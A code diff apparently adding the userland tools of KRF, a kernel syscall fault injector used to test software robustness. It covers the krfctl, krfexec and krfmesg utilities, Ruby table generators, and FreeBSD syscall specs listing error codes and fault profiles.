err(errno, "write " PROBABILITY_NAME);
}
}
void toggle_fault_logging(void) {
unsigned int state;
size_t amt_read = sizeof(state);
if (sysctlbyname(LOG_FAULTS_NAME, &state, &amt_read, NULL, 0) < 0) {
err(errno, "read " LOG_FAULTS_NAME);
}
state = !state;
if (sysctlbyname(LOG_FAULTS_NAME, NULL, NULL, &state, sizeof(state)) < 0) {
err(errno, "write " LOG_FAULTS_NAME);
}
}
void set_targeting(unsigned int mode, const char *data) {
char buf[32] = {0};
if (snprintf(buf, sizeof(buf), "%u %s", mode, data) < 0) {
err(errno, "snprintf");
}
if (sysctlbyname(TARGETING_NAME, NULL, NULL, &buf, strlen(buf)) < 0) {
errx(errno, "write " TARGETING_NAME " - %s", buf);
}
}

View File

@ -0,0 +1,67 @@
#!/usr/bin/env ruby
# frozen_string_literal: true
# genprofiles: generate a lookup table of profiles names -> syscall lists
require "yaml"
# PLATFORM = ARGV.shift || `uname -s`.chomp!.downcase!
PLATFORM = "linux"
abort "Barf: Unknown platform: #{PLATFORM}" unless %w[linux freebsd].include? PLATFORM
PROFILE_DESC_FILE = File.expand_path "./profiles.yml", __dir__
SYSCALL_SPECS_DIR = File.expand_path File.join("../module/codegen/", PLATFORM), __dir__
SYSCALL_SPECS = Dir[File.join(SYSCALL_SPECS_DIR, "*.yml")]
SYSCALLS = SYSCALL_SPECS.map do |path|
spec = YAML.safe_load File.read(path)
[File.basename(path, ".yml"), spec]
end.to_h
PROFILE_DESCS = YAML.safe_load File.read(PROFILE_DESC_FILE)
PROFILE_DESCS.default = Hash.new "<no description for this profile; please contribute one>"
PROFILES = Hash.new { |h, k| h[k] = [] }
SYSCALLS.each do |call, spec|
# __NR_<name> constant always takes precedence, since
# we extract our lookup table from those constants in gentable.
sys_name = spec["nr"] || call
spec["profiles"]&.each do |profile|
PROFILES[profile] << sys_name
end
PROFILES["all"] << sys_name
end
OUTPUT_NAME = File.expand_path "profiles.gen.c", __dir__
def hai(msg)
STDERR.puts "[genprofiles] #{msg}"
end
hai "building lookup table with #{PROFILES.size} entries"
File.open(OUTPUT_NAME, "w") do |file|
file.puts <<~PREAMBLE
/* WARNING!
* This file was generated by KRF's genprofiles.
* Do not edit it by hand.
*/
#include <stdlib.h>
#include "krfctl.h"
PREAMBLE
file.puts "fault_profile_t fault_profile_table[] = {"
PROFILES.each do |name, syscalls|
desc = PROFILE_DESCS[name]
sys_struct = syscalls.map { |s| "\"#{s}\"" }.join ", "
file.puts %({ "#{name}", "#{desc}", { #{sys_struct}, NULL } },)
end
file.puts "{ NULL, NULL, { NULL } },"
file.puts "};"
end

View File

@ -0,0 +1,71 @@
#!/usr/bin/env ruby
# frozen_string_literal: true
# gentable: generate a lookup table of syscall names -> numbers
require "open3"
PLATFORM = ARGV.shift || `uname -s`.chomp!.downcase!
abort "Barf: Unknown platform: #{PLATFORM}" unless %w[linux freebsd].include? PLATFORM
SYSCALL_H_CANDIDATES = %w[
/usr/include/sys/syscall.h
/usr/include/x86_64-linux-gnu/sys/syscall.h
].freeze
SYSCALL_H = SYSCALL_H_CANDIDATES.find { |f| File.exist? f }
OUTPUT_NAME = File.expand_path "table.gen.c", __dir__
def hai(msg)
STDERR.puts "[gentable] #{msg}"
end
abort "Barf: no sys/syscall.h" unless SYSCALL_H
processed, status = Open3.capture2("cc -dD -E -", stdin_data: File.read(SYSCALL_H))
abort "Barf: Preprocess failed" unless status.success?
table = if PLATFORM == "linux"
lines = processed.lines.select { |l| l.match?(/^#define __NR_/) }.map(&:chomp)
lines.map do |line|
const, number = line.split[1..2]
[const[5..-1], number]
end.to_h
elsif PLATFORM == "freebsd"
lines = processed.lines.select { |l| l.match?(/^#define SYS_/) }.map(&:chomp)
lines.map do |line|
const, number = line.split[1..2]
[const[4..-1], number]
end.to_h
end
hai "building lookup table with #{table.size} entries"
File.open(OUTPUT_NAME, "w") do |file|
file.puts <<~PREAMBLE
/* WARNING!
* This file was generated by KRF's gentable.
* Do not edit it by hand.
*/
#include <stdlib.h>
#include "krfctl.h"
PREAMBLE
file.puts "syscall_lookup_t syscall_lookup_table[] = {"
table.each do |name, number|
next if PLATFORM == "freebsd" && name == "MAXSYSCALL"
file.puts %({ "#{name}", "#{number}" },)
end
file.puts "{ NULL, 0 },"
file.puts "};"
end

View File

@ -0,0 +1,148 @@
#include <stdio.h>
#include <string.h>
#include <sys/errno.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <err.h>
#include <string.h>
#include "krfctl.h"
#include "../common/common.h"
const char *lookup_syscall_number(const char *sys_name) {
for (syscall_lookup_t *elem = syscall_lookup_table; elem->sys_name != NULL; elem++) {
if (!strcmp(sys_name, elem->sys_name)) {
return elem->sys_num;
}
}
return NULL;
}
static const char **lookup_syscall_profile(const char *profile) {
for (fault_profile_t *elem = fault_profile_table; elem->profile != NULL; elem++) {
if (!strcmp(profile, elem->profile)) {
return elem->syscalls;
}
}
return NULL;
}
static void fault_syscall_spec(const char *s) {
const char *sys_name = NULL;
char *spec = strdup(s);
sys_name = strtok(spec, ", ");
while (sys_name) {
fault_syscall(sys_name);
sys_name = strtok(NULL, ", ");
}
free(spec);
}
static void fault_syscall_profile(const char *profile) {
const char **syscalls = lookup_syscall_profile(profile);
if (syscalls == NULL) {
errx(1, "couldn't find fault profile: %s", profile);
}
int i;
for (i = 0; syscalls[i]; i++) {
fault_syscall(syscalls[i]);
}
}
char *const targeting_opts[] = {[KRF_T_MODE_PERSONALITY] = "personality",
[KRF_T_MODE_PID] = "PID",
[KRF_T_MODE_UID] = "UID",
[KRF_T_MODE_GID] = "GID",
[KRF_T_MODE_INODE] = "INODE",
[KRF_T_NUM_MODES] = NULL};
int main(int argc, char *argv[]) {
char *subopts, *value;
int c;
while ((c = getopt(argc, argv, "F:P:cr:p:LT:Ch")) != -1) {
switch (c) {
case 'F': {
fault_syscall_spec(optarg);
break;
}
case 'P': {
fault_syscall_profile(optarg);
break;
}
case 'c': {
clear_faulty_calls();
break;
}
case 'r': {
set_rng_state(optarg);
break;
}
case 'p': {
set_prob_state(optarg);
break;
}
case 'L': {
toggle_fault_logging();
break;
}
case 'T': {
subopts = optarg;
int ca;
while (*subopts != '\0') {
ca = getsubopt(&subopts, targeting_opts, &value);
if (value == NULL) {
printf("error: there must be a value input for the targeting option\n");
return 2;
}
if (ca >= KRF_T_NUM_MODES) {
printf("error: unknown targeting option %s\n", value);
return 3;
}
set_targeting(ca, value);
}
break;
}
case 'C': {
set_targeting(0, "0");
break;
}
case 'h':
default: {
printf("usage: krfctl <options>\n"
"options:\n"
" -h display this help message\n"
" -F <syscall> [syscall...] fault the given syscalls\n"
" -P <profile> fault the given syscall profile\n"
" -c clear the syscall table of faulty calls\n"
" -r <state> set the RNG state\n"
" -p <prob> set the fault probability\n"
" -L toggle faulty call logging\n"
" -T <variable>=<value> enable targeting option <variable> with value <value>\n"
" -C clear the targeting options\n"
"targeting options:\n"
" personality, PID, UID, GID, and INODE\n"
"available profiles (for -P flag):\n"
" ");
fault_profile_t *elem = fault_profile_table;
while (elem->profile != NULL) {
printf("\t%s\t%s\n", elem->profile, elem->description);
elem++;
}
return 1;
}
}
}
return 0;
}

View File

@ -0,0 +1,28 @@
#pragma once
typedef struct syscall_lookup_t {
const char *sys_name;
/* no point in storing it as an int if we're just going to convert it */
const char *sys_num;
} syscall_lookup_t;
typedef struct fault_profile_t {
const char *profile;
const char *description;
/* GCC doesn't like flexible array initialization within
* structures, so just give ourselves enough room for
* sensibly sized profiles.
*/
const char *syscalls[256];
} fault_profile_t;
extern syscall_lookup_t syscall_lookup_table[];
extern fault_profile_t fault_profile_table[];
const char *lookup_syscall_number(const char *sys_name);
int fault_syscall(const char *sys_name);
void clear_faulty_calls(void);
void set_rng_state(const char *state);
void set_prob_state(const char *state);
void toggle_fault_logging(void);
void set_targeting(unsigned int mode, const char *data);

View File

@ -0,0 +1,150 @@
#include <stdio.h>
#include <string.h>
#include <sys/errno.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <err.h>
#include <string.h>
#include "../krfctl.h"
#include "../../common/common.h"
/* control will interpret any number larger than its syscall table
* as a command to clear all current masks.
* it's a good bet that linux will never have 65535 syscalls.
*/
#define CLEAR_MAGIC "65535"
#define CONTROL_FILE "/proc/" KRF_PROC_DIR "/" KRF_CONTROL_FILENAME
#define RNG_STATE_FILE "/proc/" KRF_PROC_DIR "/" KRF_RNG_STATE_FILENAME
#define PROBABILITY_FILE "/proc/" KRF_PROC_DIR "/" KRF_PROBABILITY_FILENAME
#define LOG_FAULTS_FILE "/proc/" KRF_PROC_DIR "/" KRF_LOG_FAULTS_FILENAME
#define TARGETING_FILE "/proc/" KRF_PROC_DIR "/" KRF_TARGETING_FILENAME
int fault_syscall(const char *sys_name) {
int fd;
const char *sys_num;
/* check for wait4 and select */
if (!strcmp(sys_name, "wait4") || !strcmp(sys_name, "select"))
fprintf(stderr,
"Warning: faulting syscall %s can potentially cause kernel oops on module unload\n",
sys_name);
/* TODO(ww): Opening the control file once per syscall is
* pretty nasty, but I don't like passing a fd around.
* Maybe a static variable that we test-and-set?
*/
if ((fd = open(CONTROL_FILE, O_WRONLY)) < 0) {
err(errno, "open " CONTROL_FILE);
}
if (!(sys_num = lookup_syscall_number(sys_name))) {
warnx("WARNING: couldn't find syscall: %s", sys_name);
return 1;
}
if (write(fd, sys_num, strlen(sys_num)) < 0) {
/* friendly error message on unsupported syscall */
if (errno == EOPNOTSUPP) {
errx(errno, "faulting for %s unimplemented", sys_name);
} else {
err(errno, "write " CONTROL_FILE);
}
}
close(fd);
return 0;
}
void clear_faulty_calls(void) {
int fd;
if ((fd = open(CONTROL_FILE, O_WRONLY)) < 0) {
err(errno, "open " CONTROL_FILE);
}
if (write(fd, CLEAR_MAGIC, strlen(CLEAR_MAGIC)) < 0) {
err(errno, "write " CONTROL_FILE);
}
close(fd);
}
void set_rng_state(const char *state) {
int fd;
if ((fd = open(RNG_STATE_FILE, O_WRONLY)) < 0) {
err(errno, "open " RNG_STATE_FILE);
}
if (write(fd, state, strlen(state)) < 0) {
err(errno, "write " CONTROL_FILE);
}
close(fd);
}
void set_prob_state(const char *state) {
int fd;
if ((fd = open(PROBABILITY_FILE, O_WRONLY)) < 0) {
err(errno, "open " PROBABILITY_FILE);
}
if (write(fd, state, strlen(state)) < 0) {
err(errno, "write " CONTROL_FILE);
}
close(fd);
}
void toggle_fault_logging(void) {
int fd;
char buf[32] = {0};
unsigned int state;
if ((fd = open(LOG_FAULTS_FILE, O_RDWR)) < 0) {
err(errno, "open " LOG_FAULTS_FILE);
}
if (read(fd, buf, sizeof(buf) - 1) < 0) {
err(errno, "read " LOG_FAULTS_FILE);
}
if (sscanf(buf, "%u", &state) != 1) {
errx(1, "weird logging state: %s", buf);
}
state = !state;
memset(buf, 0, sizeof(buf));
snprintf(buf, sizeof(buf), "%u", state);
if (write(fd, buf, strlen(buf)) < 0) {
err(errno, "write " LOG_FAULTS_FILE);
}
close(fd);
}
void set_targeting(unsigned int mode, const char *data) {
int fd;
char buf[32] = {0};
if ((fd = open(TARGETING_FILE, O_WRONLY)) < 0) {
err(errno, "open " TARGETING_FILE);
}
if (snprintf(buf, sizeof(buf), "%u %s", mode, data) < 0) {
err(errno, "snprintf");
}
if (write(fd, buf, strlen(buf)) < 0) {
err(errno, "write " TARGETING_FILE);
}
close(fd);
}

View File

@ -0,0 +1,10 @@
all: "every syscall supported by KRF"
mm: "memory management syscalls"
fs: "filesystem interaction syscalls"
io: "general input/output syscalls"
proc: "process and task management syscalls"
time: "time and clock syscalls"
net: "socket and network syscalls"
ipc: "interprocess communication syscalls"
sys: "system configuration and state syscalls"
sched: "scheduling syscalls"

View File

@ -0,0 +1,11 @@
PROG := krfexec
SRCS := $(PROG).c $(wildcard $(PLATFORM)/*.c)
OBJS := $(SRCS:.c=.o)
all: $(PROG)
$(PROG): $(OBJS)
.PHONY: clean
clean:
rm -f $(PROG) $(OBJS)

View File

@ -0,0 +1,25 @@
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <errno.h>
#include <err.h>
#include <string.h>
#include <pwd.h>
#include "../krfexec.h"
#include "../../common/common.h"
void krfexec_prep(void) {
char buf[32] = {0};
pid_t pid = getpid();
if (snprintf(buf, 32, "1 %u", (unsigned int)pid) < 0) {
errx(1, "snprintf");
}
if (sysctlbyname(KRF_PROC_DIR "." KRF_TARGETING_FILENAME, NULL, NULL, &buf, strnlen(buf, 32)) <
0) {
err(errno, "sysctl failed");
}
}

View File

@ -0,0 +1,32 @@
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/fcntl.h>
#include <errno.h>
#include <err.h>
#include "krfexec.h"
int main(int argc, char *argv[]) {
if (argc < 2 || !strcmp(argv[1], "-h")) {
printf("usage: krfexec <command or file> [args]\n");
return 1;
}
krfexec_prep();
struct rlimit core_limit;
core_limit.rlim_cur = core_limit.rlim_max = RLIM_INFINITY;
if (setrlimit(RLIMIT_CORE, &core_limit) < 0) {
err(errno, "setrlimit");
}
if (execvp(argv[1], argv + 1) < 0) {
err(errno, "exec %s", argv[1]);
}
return 0; /* noreturn */
}

View File

@ -0,0 +1,10 @@
#pragma once
#include <errno.h>
#include <err.h>
/* TODO(ww): Put this in a common include directory.
*/
#define KRF_PERSONALITY 28
void krfexec_prep(void);

View File

@ -0,0 +1,51 @@
#include <sys/personality.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include "../krfexec.h"
#include "../../common/common.h"
#define TARGETING_FILE "/proc/" KRF_PROC_DIR "/" KRF_TARGETING_FILENAME
void krfexec_prep(void) {
// Check if personality is being targeted
int fd;
char buf[64] = {0};
int set = 0;
if ((fd = open(TARGETING_FILE, O_RDONLY)) < 0) {
err(errno, "open " TARGETING_FILE);
}
if (read(fd, buf, sizeof(buf) - 1) < 0) {
err(errno, "read" TARGETING_FILE);
}
unsigned mode, data;
while (sscanf(buf, "%u %u", &mode, &data) == 2) {
if (mode != KRF_T_MODE_PERSONALITY)
continue;
if (data == KRF_PERSONALITY) {
set = 1;
break;
} else {
errx(1, "Personality set to a value that krfexec does not recognize. Use `krfctl -T "
"personality=28` to properly set.");
}
}
if (!set) {
errx(1, "Personality targeting disabled. Run `krfctl -T personality=28` to enable.");
}
close(fd);
if (personality(KRF_PERSONALITY | ADDR_NO_RANDOMIZE) < 0) {
err(errno, "personality");
}
/* TODO(ww): Maybe disable the VDSO?
* Here's how we could do it on a per-process basis: https://stackoverflow.com/a/52402306
*/
}

View File

@ -0,0 +1,11 @@
PROG := krfmesg
SRCS := $(PROG).c $(wildcard $(PLATFORM)/*.c)
OBJS := $(SRCS:.c=.o)
all: $(PROG)
$(PROG): $(OBJS)
.PHONY: clean
clean:
rm -f $(PROG) $(OBJS)

View File

@ -0,0 +1,7 @@
#include <stdio.h>
#include <err.h>
int platform_main(int argc, char *argv[]) {
errx(1, "krfmesg not implemented on FreeBSD, since no netlink sockets");
return 0;
}

View File

@ -0,0 +1,5 @@
int platform_main(int, char **);
int main(int argc, char *argv[]) {
return platform_main(argc, argv);
}

View File

@ -0,0 +1,93 @@
#include <err.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <unistd.h>
#include <signal.h>
#include "../../common/common.h"
static sig_atomic_t exiting;
int open_netlink(void) {
int sock;
struct sockaddr_nl addr;
int group = NETLINK_MYGROUP;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_KRF);
if (sock < 0) {
if (errno == EPROTONOSUPPORT) {
errx(1, "NETLINK_KRF protocol not found.\n"
"Check to ensure that the KRF module (krfx) is loaded.");
} else {
err(errno, "socket");
}
}
memset((void *)&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
addr.nl_pid = getpid();
/* This doesn't work for some reason. See the setsockopt() below. */
/* addr.nl_groups = NETLINK_MYGROUP; */
if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
err(1, "Failed to bind socket");
}
/*
* 270 is SOL_NETLINK. See
* http://lxr.free-electrons.com/source/include/linux/socket.h?v=4.1#L314
* and
* http://stackoverflow.com/questions/17732044/
*/
if (setsockopt(sock, 270, NETLINK_ADD_MEMBERSHIP, &group, sizeof(group)) < 0) {
err(1, "Failed to setsockopt");
// Will need to be run with sudo
}
return sock;
}
void read_event(int sock) {
struct sockaddr_nl nladdr;
char buffer[65536];
int ret;
struct iovec iov = {
.iov_base = (void *)buffer,
.iov_len = sizeof(buffer),
};
struct msghdr msg = {
.msg_name = (void *)&(nladdr),
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
ret = recvmsg(sock, &msg, 0);
if (ret < 0) {
err(1, "recvmsg");
}
printf("%s", (char *)NLMSG_DATA((struct nlmsghdr *)&buffer));
}
static void exit_sig(int signo) {
exiting = 1;
}
int platform_main(int argc, char *argv[]) {
sigaction(SIGINT, &(struct sigaction){.sa_handler = exit_sig}, NULL);
sigaction(SIGTERM, &(struct sigaction){.sa_handler = exit_sig}, NULL);
sigaction(SIGABRT, &(struct sigaction){.sa_handler = exit_sig}, NULL);
int nls = open_netlink();
while (!exiting) {
read_event(nls);
}
close(nls);
return 0;
}

View File

@ -0,0 +1,6 @@
proto: struct thread *td, struct __getcwd_args *uap
parms: td, uap
errors:
- ENODEV
- EINVAL
- EFAULT

View File

@ -0,0 +1,5 @@
proto: struct thread *td, struct __semctl_args *uap
parms: td, uap
errors:
- EINVAL
- EFAULT

View File

@ -0,0 +1,4 @@
proto: struct thread *td, struct __setugid_args *uap
parms: td, uap
errors:
- EINVAL

View File

@ -0,0 +1,15 @@
proto: struct thread *td, struct accept_args *uap
parms: td, uap
errors:
- EBADF
- EINTR
- EMFILE
- ENFILE
- ENOTSOCK
- EINVAL
- EFAULT
- EWOULDBLOCK
- EAGAIN
- ECONNABORTED
profiles:
- net

View File

@ -0,0 +1,16 @@
proto: struct thread *td, struct accept4_args *uap
parms: td, uap
errors:
- EBADF
- EINTR
- EMFILE
- ENFILE
- ENOTSOCK
- EINVAL
- EFAULT
- EWOULDBLOCK
- EAGAIN
- ECONNABORTED
- EINVAL
profiles:
- net

View File

@ -0,0 +1,15 @@
proto: struct thread *td, struct access_args *uap
parms: td, uap
errors:
- EINVAL
- ENOTDIR
- ENAMETOOLONG
- ENOENT
- ELOOP
- EROFS
- ETXTBSY
- EACCES
- EFAULT
- EIO
profiles:
- fs

View File

@ -0,0 +1,14 @@
proto: struct thread *td, struct acct_args *uap
parms: td, uap
errors:
- EPERM
- ENOTDIR
- ENAMETOOLONG
- ENOENT
- EACCES
- ELOOP
- EROFS
- EFAULT
- EIO
profiles:
- proc

View File

@ -0,0 +1,7 @@
proto: struct thread *td, struct adjtime_args *uap
parms: td, uap
errors:
- EFAULT
- EPERM
profiles:
- time

View File

@ -0,0 +1,6 @@
proto: struct thread *td, struct aio_cancel_args *uap
parms: td, uap
errors:
- EBADF
profiles:
- io

View File

@ -0,0 +1,6 @@
proto: struct thread *td, struct aio_error_args *uap
parms: td, uap
errors:
- EINVAL
profiles:
- io

View File

@ -0,0 +1,10 @@
proto: struct thread *td, struct aio_fsync_args *uap
parms: td, uap
errors:
- EAGAIN
- EINVAL
- EOPNOTSUPP
- EINVAL
- EBADF
profiles:
- io

View File

@ -0,0 +1,7 @@
proto: struct thread *td, struct aio_mlock_args *uap
parms: td, uap
errors:
- EAGAIN
- EINVAL
profiles:
- io

View File

@ -0,0 +1,11 @@
proto: struct thread *td, struct aio_read_args *uap
parms: td, uap
errors:
- EAGAIN
- EINVAL
- EOPNOTSUPP
- EBADF
- EOVERFLOW
- ECANCELED
profiles:
- io

View File

@ -0,0 +1,6 @@
proto: struct thread *td, struct aio_return_args *uap
parms: td, uap
errors:
- EINVAL
profiles:
- io

View File

@ -0,0 +1,8 @@
proto: struct thread *td, struct aio_suspend_args *uap
parms: td, uap
errors:
- EAGAIN
- EINVAL
- EINTR
profiles:
- io

View File

@ -0,0 +1,10 @@
proto: struct thread *td, struct aio_waitcomplete_args *uap
parms: td, uap
errors:
- EINVAL
- EAGAIN
- EINTR
- EWOULDBLOCK
- EINPROGRESS
profiles:
- io

View File

@ -0,0 +1,10 @@
proto: struct thread *td, struct aio_write_args *uap
parms: td, uap
errors:
- EAGAIN
- EINVAL
- EOPNOTSUPP
- EBADF
- ECANCELED
profiles:
- io

View File

@ -0,0 +1,8 @@
proto: struct thread *td, struct audit_args *uap
parms: td, uap
errors:
- EFAULT
- EINVAL
- EPERM
profiles:
- security

View File

@ -0,0 +1,8 @@
proto: struct thread *td, struct auditctl_args *uap
parms: td, uap
errors:
- EFAULT
- EINVAL
- EPERM
profiles:
- security

View File

@ -0,0 +1,9 @@
proto: struct thread *td, struct auditon_args *uap
parms: td, uap
errors:
- ENOSYS
- EFAULT
- EINVAL
- EPERM
profiles:
- security

View File

@ -0,0 +1,21 @@
proto: struct thread *td, struct bind_args *uap
parms: td, uap
errors:
- EAGAIN
- EBADF
- EINVAL
- ENOTSOCK
- EADDRNOTAVAIL
- EADDRINUSE
- EAFNOSUPPORT
- EACCES
- EFAULT
- ENOTDIR
- ENAMETOOLONG
- ENOENT
- ELOOP
- EIO
- EROFS
- EISDIR
profiles:
- net

View File

@ -0,0 +1,7 @@
proto: struct thread *td, struct bindat_args *uap
parms: td, uap
errors:
- EBADF
- ENOTDIR
profiles:
- net

View File

@ -0,0 +1,12 @@
proto: struct thread *td, struct chdir_args *uap
parms: td, uap
errors:
- ENOTDIR
- ENAMETOOLONG
- ENOENT
- ELOOP
- EACCES
- EFAULT
- EIO
profiles:
- fs

View File

@ -0,0 +1,15 @@
proto: struct thread *td, struct chflags_args *uap
parms: td, uap
errors:
- ENOTDIR
- ENAMETOOLONG
- ENOENT
- EACCES
- ELOOP
- EPERM
- EROFS
- EFAULT
- EIO
- EOPNOTSUPP
profiles:
- fs

View File

@ -0,0 +1,15 @@
proto: struct thread *td, struct chflagsat_args *uap
parms: td, uap
errors:
- ENOTDIR
- ENAMETOOLONG
- ENOENT
- EACCES
- ELOOP
- EPERM
- EROFS
- EFAULT
- EIO
- EOPNOTSUPP
profiles:
- fs

View File

@ -0,0 +1,15 @@
proto: struct thread *td, struct chmod_args *uap
parms: td, uap
errors:
- ENOTDIR
- ENAMETOOLONG
- ENOENT
- EACCES
- ELOOP
- EPERM
- EROFS
- EFAULT
- EIO
- EFTYPE
profiles:
- fs

View File

@ -0,0 +1,14 @@
proto: struct thread *td, struct chown_args *uap
parms: td, uap
errors:
- ENOTDIR
- ENAMETOOLONG
- ENOENT
- EACCES
- ELOOP
- EPERM
- EROFS
- EFAULT
- EIO
profiles:
- fs

View File

@ -0,0 +1,13 @@
proto: struct thread *td, struct chroot_args *uap
parms: td, uap
errors:
- ENOTDIR
- EPERM
- ENAMETOOLONG
- ENOENT
- EACCES
- ELOOP
- EFAULT
- EIO
profiles:
- fs

View File

@ -0,0 +1,7 @@
proto: struct thread *td, struct clock_getcpuclockid2_args *uap
parms: td, uap
errors:
- EPERM
- ESRCH
profiles:
- time

View File

@ -0,0 +1,7 @@
proto: struct thread *td, struct clock_getres_args *uap
parms: td, uap
errors:
- EINVAL
- EPERM
profiles:
- time

View File

@ -0,0 +1,7 @@
proto: struct thread *td, struct clock_gettime_args *uap
parms: td, uap
errors:
- EINVAL
- EPERM
profiles:
- time

Some files were not shown because too many files have changed in this diff Show More